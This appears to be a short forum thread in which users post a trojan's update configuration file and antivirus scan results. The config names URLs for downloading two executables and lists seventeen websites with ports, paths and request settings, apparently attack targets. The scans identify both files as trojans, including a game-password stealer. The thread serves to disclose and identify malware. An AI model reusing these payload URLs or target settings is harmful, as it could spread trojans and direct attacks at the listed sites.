http://ck.haor2.com/gan//update.txt

qigang

[update]
ver=2008060922
url=http://ad.laoqn.com/ck.exe
timer=100
[weblist]
url1=www.5566qj.com
ip1=
port1=80
bao1=150
canshu1=news_display.asp?id=21
moshi1=1
timeout1=1000
url2=www.qj4f.com
ip2=0.0.0.0
port2=80
bao2=150
canshu2=index.asp?page=10&menu=all
moshi2=1
timeout2=1000
url3=www3.1000yjy.cn
ip3=0.0.0.0
port3=80
bao3=150
canshu3=Article/ArticleShow.asp?ArticleID=120
moshi3=1
timeout3=1000
url4=www.2000mu.cn
ip4=
port4=80
bao4=150
canshu4=images/863sf_logo.jpg
moshi4=1
timeout4=1000
url5=www.2000mu.cn
ip5=0.0.0.0
port5=80
bao5=150
canshu5=index.asp
moshi5=1
timeout5=1000
url6=www.haorxjh.net
ip6=0.0.0.0
port6=80
bao6=150
canshu6=add.asp
moshi6=1
timeout6=1000
url7=www.37sfw.com
ip7=0.0.0.0
port7=80
bao7=150
canshu7=add.asp
moshi7=1
timeout7=1000
url8=www.338mu.com
ip8=0.0.0.0
port8=80
bao8=150
canshu8=add.asp
moshi8=1
timeout8=1000
url9=www.999mu.com
ip9=
port9=80
bao9=150
canshu9=add.asp
moshi9=1
timeout9=1000
url10=www.1314mu.cn
ip10=0.0.0.0
port10=80
bao10=150
canshu10=add.asp
moshi10=1
timeout10=1000
url11=www.800351.com
ip11=0.0.0.0
port11=80
bao11=150
canshu11=add.asp
moshi11=1
timeout11=1000
url12=www.218mu.com
ip12=0.0.0.0
port12=80
bao12=150
canshu12=display.asp?id=10866
moshi12=1
timeout12=1000
url13=www.885a.com
ip13=0.0.0.0
port13=80
bao13=150
canshu13=add.asp
moshi13=1
timeout13=1000
url14=down.aqjf.com
ip14=0.0.0.0
port14=80
bao14=150
canshu14=jyks.rar
moshi14=1
timeout14=1000
url15=dx.aqjf.com
ip15=0.0.0.0
port15=80
bao15=150
canshu15=down/jyks.rar
moshi15=1
timeout15=1000
url16=wt.aqjf.com
ip16=0.0.0.0
port16=80
bao16=150
canshu16=down/jyks.rar
moshi16=1
timeout16=1000
url17=down.h4f.cn
ip17=
port17=80
bao17=150
canshu17=down/jyks.rar
moshi17=1
timeout17=1000
kuo=1
kuourl=http://ck.haor2.com/gan/gjd.exe
count=17
crc=1058801048

qianwenxiang

电影结束了

E:\ck.rar>>ck.exe      TrojanPSW.OnLineGames.wlu.kjdk       木马
E:\ck.rar>>gjd.exe     TrojanAgent.5084.xyoa                木马

nosferatu

Begin scan in 'C:\Documents and Settings\Administrator\桌面\ck.rar'
C:\Documents and Settings\Administrator\桌面\ck.rar
  [0] Archive type: RAR
  --> ck.exe
      [DETECTION] Is the Trojan horse TR/Crypt.FKM.Gen
  --> gjd.exe
      [DETECTION] Is the Trojan horse TR/Agent.5084
      [NOTE]      The file was deleted!